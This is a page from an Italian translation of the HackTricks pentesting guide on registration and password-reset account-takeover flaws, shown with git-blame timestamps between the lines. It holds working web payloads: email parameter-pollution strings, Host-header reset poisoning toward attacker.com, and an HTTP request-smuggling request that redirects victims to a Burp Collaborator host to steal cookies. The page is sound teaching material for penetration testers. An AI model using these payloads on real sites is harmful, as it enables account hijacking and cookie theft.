hacktricks/pentesting-web/registration-vulnerabilities.md

207 lines
9.8 KiB
Markdown
Raw Normal View History

# Vulnerabilità di Registrazione e Presa di Controllo
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Impara e pratica il Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Supporta HackTricks</summary>
2024-02-03 14:45:32 +00:00
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
2021-06-27 14:55:59 +00:00
## Presa di Controllo della Registrazione
2021-06-27 14:55:59 +00:00
### Registrazione Duplicata
2021-06-27 14:55:59 +00:00
* Prova a generare utilizzando un nome utente esistente
* Controlla variando l'email:
* maiuscole
* \+1@
* aggiungi qualche punto nell'email
* caratteri speciali nel nome dell'email (%00, %09, %20)
* Metti caratteri neri dopo l'email: `test@test.com a`
* victim@gmail.com@attacker.com
* victim@attacker.com@gmail.com
2021-06-27 14:55:59 +00:00
### Enumerazione degli Username
2021-06-27 14:55:59 +00:00
Controlla se riesci a capire quando un nome utente è già stato registrato all'interno dell'applicazione.
2021-06-27 14:55:59 +00:00
### Politica delle Password
2021-06-27 14:55:59 +00:00
Creando un utente controlla la politica delle password (controlla se puoi usare password deboli).\
In tal caso potresti provare a bruteforza le credenziali.
### SQL Injection
[**Controlla questa pagina** ](sql-injection/#insert-statement)per imparare come tentare di prendere il controllo degli account o estrarre informazioni tramite **SQL Injections** nei moduli di registrazione.
### Oauth Takeovers
2021-06-27 14:55:59 +00:00
2023-02-16 18:26:56 +00:00
{% content-ref url="oauth-to-account-takeover.md" %}
[oauth-to-account-takeover.md](oauth-to-account-takeover.md)
{% endcontent-ref %}
2021-06-27 14:55:59 +00:00
### Vulnerabilità SAML
2021-06-27 14:55:59 +00:00
{% content-ref url="saml-attacks/" %}
[saml-attacks](saml-attacks/)
{% endcontent-ref %}
### Cambia Email
Quando registrato prova a cambiare l'email e controlla se questo cambiamento è correttamente validato o se puoi cambiarlo in email arbitrarie.
2021-06-27 14:55:59 +00:00
### Ulteriori Controlli
2021-06-27 14:55:59 +00:00
* Controlla se puoi usare **email usa e getta**
* **Password** **Lunghe** (>200) portano a **DoS**
* **Controlla i limiti di velocità sulla creazione degli account**
* Usa username@**burp\_collab**.net e analizza il **callback**
2021-11-30 00:17:48 +00:00
## **Presa di Controllo del Reset della Password**
2021-11-30 00:17:48 +00:00
### Leak del Token di Reset della Password Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
2021-11-30 00:17:48 +00:00
2024-02-10 13:03:23 +00:00
1. Richiedi il reset della password al tuo indirizzo email
2. Clicca sul link di reset della password
2024-02-10 13:03:23 +00:00
3. Non cambiare la password
4. Clicca su qualsiasi sito web di terze parti (es: Facebook, Twitter)
5. Intercetta la richiesta nel proxy di Burp Suite
6. Controlla se l'intestazione referer sta rivelando il token di reset della password.
2021-11-30 00:17:48 +00:00
### Avvelenamento del Reset della Password <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
2021-11-30 00:17:48 +00:00
1. Intercetta la richiesta di reset della password in Burp Suite
2. Aggiungi o modifica le seguenti intestazioni in Burp Suite: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Inoltra la richiesta con l'intestazione modificata\
2024-02-10 13:03:23 +00:00
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Cerca un URL di reset della password basato sull'_intestazione host_ come: `https://attacker.com/reset-password.php?token=TOKEN`
2021-11-30 00:17:48 +00:00
### Reset della Password Via Parametro Email <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
2021-11-30 00:17:48 +00:00
```powershell
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
```
### IDOR su Parametri API <a href="#idor-on-api-parameters" id="idor-on-api-parameters"></a>
2021-11-30 00:17:48 +00:00
1. L'attaccante deve accedere con il proprio account e andare alla funzione **Cambia password**.
2024-02-10 13:03:23 +00:00
2. Avviare Burp Suite e intercettare la richiesta.
3. Inviarla alla scheda ripetitore e modificare i parametri: ID utente/email\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
2021-11-30 00:17:48 +00:00
### Token di Reset Password Debole <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
Il token di reset della password dovrebbe essere generato casualmente e unico ogni volta.\
Cerca di determinare se il token scade o se è sempre lo stesso; in alcuni casi, l'algoritmo di generazione è debole e può essere indovinato. Le seguenti variabili potrebbero essere utilizzate dall'algoritmo.
2021-11-30 00:17:48 +00:00
* Timestamp
* UserID
* Email dell'utente
* Nome e Cognome
* Data di Nascita
* Criptografia
2024-02-10 13:03:23 +00:00
* Solo numeri
* Sequenza di token piccola (caratteri tra \[A-Z,a-z,0-9])
2024-02-10 13:03:23 +00:00
* Riutilizzo del token
* Data di scadenza del token
2021-11-30 00:17:48 +00:00
### Token di Reset Password in Fuga <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
2021-11-30 00:17:48 +00:00
1. Attiva una richiesta di reset della password utilizzando l'API/UI per un'email specifica, ad es: test@mail.com
2. Ispeziona la risposta del server e controlla per `resetToken`
3. Quindi utilizza il token in un URL come `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
2021-11-30 00:17:48 +00:00
### Reset della Password Tramite Collisione di Nome Utente <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
2021-11-30 00:17:48 +00:00
1. Registrati nel sistema con un nome utente identico a quello della vittima, ma con spazi bianchi inseriti prima e/o dopo il nome utente. ad es: `"admin "`
2. Richiedi un reset della password con il tuo nome utente malevolo.
3. Usa il token inviato alla tua email e reimposta la password della vittima.
4. Connettiti all'account della vittima con la nuova password.
2021-11-30 00:17:48 +00:00
2024-02-10 13:03:23 +00:00
La piattaforma CTFd era vulnerabile a questo attacco.\
Vedi: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
2021-11-30 00:17:48 +00:00
### Presa di Controllo dell'Account Tramite Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
2021-11-30 00:17:48 +00:00
1. Trova un XSS all'interno dell'applicazione o di un sottodominio se i cookie sono limitati al dominio principale: `*.domain.com`
2. Fuga il **cookie delle sessioni** attuali.
3. Autenticati come utente utilizzando il cookie.
2021-11-30 00:17:48 +00:00
### Presa di Controllo dell'Account Tramite HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
2021-11-30 00:17:48 +00:00
1\. Usa **smuggler** per rilevare il tipo di HTTP Request Smuggling (CL, TE, CL.TE)\
2021-11-30 00:17:48 +00:00
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. Crea una richiesta che sovrascriverà il `POST / HTTP/1.1` con i seguenti dati:\
`GET http://something.burpcollaborator.net HTTP/1.1 X:` con l'obiettivo di reindirizzare le vittime a burpcollab e rubare i loro cookie.\
3\. La richiesta finale potrebbe apparire come segue
2021-11-30 00:17:48 +00:00
```
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
```
Hackerone riporta l'esploitazione di questo bug\
\* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\
\* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666)
### Presa di Controllo dell'Account tramite CSRF <a href="#account-takeover-via-csrf" id="account-takeover-via-csrf"></a>
2021-11-30 00:17:48 +00:00
1. Crea un payload per il CSRF, ad esempio: “Modulo HTML con invio automatico per un cambio password”
2. Invia il payload
2021-11-30 00:17:48 +00:00
### Presa di Controllo dell'Account tramite JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
2021-11-30 00:17:48 +00:00
Il JSON Web Token potrebbe essere utilizzato per autenticare un utente.
2021-11-30 00:17:48 +00:00
* Modifica il JWT con un altro ID Utente / Email
* Controlla la firma JWT debole
2021-11-30 00:17:48 +00:00
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
[hacking-jwt-json-web-tokens.md](hacking-jwt-json-web-tokens.md)
{% endcontent-ref %}
2024-02-10 13:03:23 +00:00
## Riferimenti
2021-11-30 00:17:48 +00:00
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Impara e pratica il Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Supporta HackTricks</summary>
2024-02-03 14:45:32 +00:00
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}